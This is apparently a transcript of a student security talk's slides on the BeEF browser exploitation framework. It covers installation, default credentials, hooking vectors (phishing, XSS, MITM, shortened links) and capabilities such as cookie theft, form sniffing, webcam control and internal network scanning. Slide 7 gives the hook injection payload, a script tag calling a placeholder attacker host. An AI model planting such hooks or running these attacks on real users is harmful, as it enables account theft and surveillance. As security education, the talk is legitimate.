This document provides an overview of the Browser Exploitation Framework (BeEF). It discusses how BeEF allows an attacker to control a victim's browser by injecting JavaScript. It describes how to install and use BeEF, including connecting browsers, fingerprinting victims, and executing attacks like CSRF and exploiting browsers. The document demonstrates BeEF's modules for gathering information, altering pages, and scanning networks. It concludes with recommendations for further reading on browser hacking methodology.

1. Saurabh chaudhary
sudosaurabh@protonmail.com
www.about.me/saurabhtheone
BeEF
The Browser Exploitation Framework

2. 2
WHO AM I
▹I am saurabh
▹3rd year c.S.E @l.N.C.T.S bhopal
▹Bug bounty researcher on bugcroud
and hackerone
▹2 reserch papers on cyber security
▹Many security hall of fames and
national award winner in science and
tech.
2

3. Overview
• What is BeEF?
• Getting started
• Browser hooking
• Attack vectors/exploits & examples
• Demo
• Q & A

4. What is BeEF?
• Short for “Browser Exploitation Framework”
• At a basic level, it allows an attacker to control a victims browser
• Similar to Metasploit (modular exploit framework) but for
exploiting browsers
• Can be used to leverage existing vulnerabilities (XSS, CSRF,
etc.)
• In some cases, it can lead to full compromise of the victims PC

5. Getting Started
• Installed by default on Kali Linux
• Can also be downloaded from http://beefproject.com/
• App directory /usr/share/beef-xss/
• Startup script /etc/init.d/beef-xss <start|stop>
• Web UI http://localhost:3000/ui/panel/
• Default user/pass: beef/beef

6. Logging In…

7. Hooking Browsers
• Must be able to inject Javascript in target’s browser
• <script src=“http://attackerip:3000/hook.js”></script>
• Uses XHR (mostly transparent) polling to
communicate with BeEF server

8. Fundamentals
• Cross-Site Scripting (XSS) allows arbitrary execution of client side code
(ie. Javascript/HTML, etc.). Usually used by attackers to steal session cookies…
• Cross-Site Request Forgery (CSRF) allows an attacker to initiate
requests on behalf of other users (ie. Submitting a form to transfer funds $1,000
to an attackers account, etc.)

9. Attack Vectors
• Social Engineering/Phishing - Lure or convince victim to
attacker controlled server hosting BeeF
• Open Redirect - Redirect victims automatically to attacker
controlled server hosting BeeF
• Reflected XSS - Send victim a URL that executes hook.js
script
• Stored XSS - Embed hook.js script via a stored XSS vector
• Man-In-The-Middle Attacks - Injecting BeEF hook via MITM

10. BeEF
Architecture [3]

11. Phishing &
Social Engineering
It only takes one wrong click…

12. XSS Hooking
BeeF hook.js injected via URL

13. URL Obfuscation
Payloads and phishing links can be obfuscated and shortened
using URL shorteners… (example: https://goo.gl/ZncYoc)

14. Stored XSS
A single stored XSS flaw can yield many hooked clients
depending on the size and use of the site…

15. Man-In-The-Middle
Injects a small hook.js into every web request intercepted.
Can also be done using DNS spoofing as well…

16. Web UI
Tracks client connections (ie. hooked browsers) and
allows an attacker to run modules

17. • Gather intel on target system/browser
• Retrieve session cookies
• Redirect target to malicious URL’s
• Change site content
• Form field sniffing
• Embed hidden iframes
• Alter original page content (HTML/JS)
• Scan internal network (ping/port scans)
• Launch CSRF attacks
• Execute client-side exploits/code (BeeF/Metasploit/SET)
BeeF Attacks

18. BeEF Modules

19. Browser Hacking
Methodology
• Gaining control • Attacking extensions
• Fingerprinting • Attacking web applications
• Retain control • Attacking browsers
• Attacking users • Attacking networks

20. Fingerprinting
REQ

22. Retain Control

23. Attacking Users
Session Hijacking

24. Form Sniffing

25. Webcam Control

26. Client-Side Request Forgery
• Can be used to make internal or external requests from the victim’s PC
• Depending on severity, could allow an attacker to automatically transfer
funds or reset a users passwords, etc…

27. CSRF Exploits

28. Tunneling Proxy

29. Internal Network Mapping

30. Exploits…

31. Exploiting Browsers Using Java

32. Automating Modules
By editing autorun.rb, we can automatically load
specific modules and set options whenever a new
BeEF hook connects

33. Demo

34. Recommended Reading

35. Questions?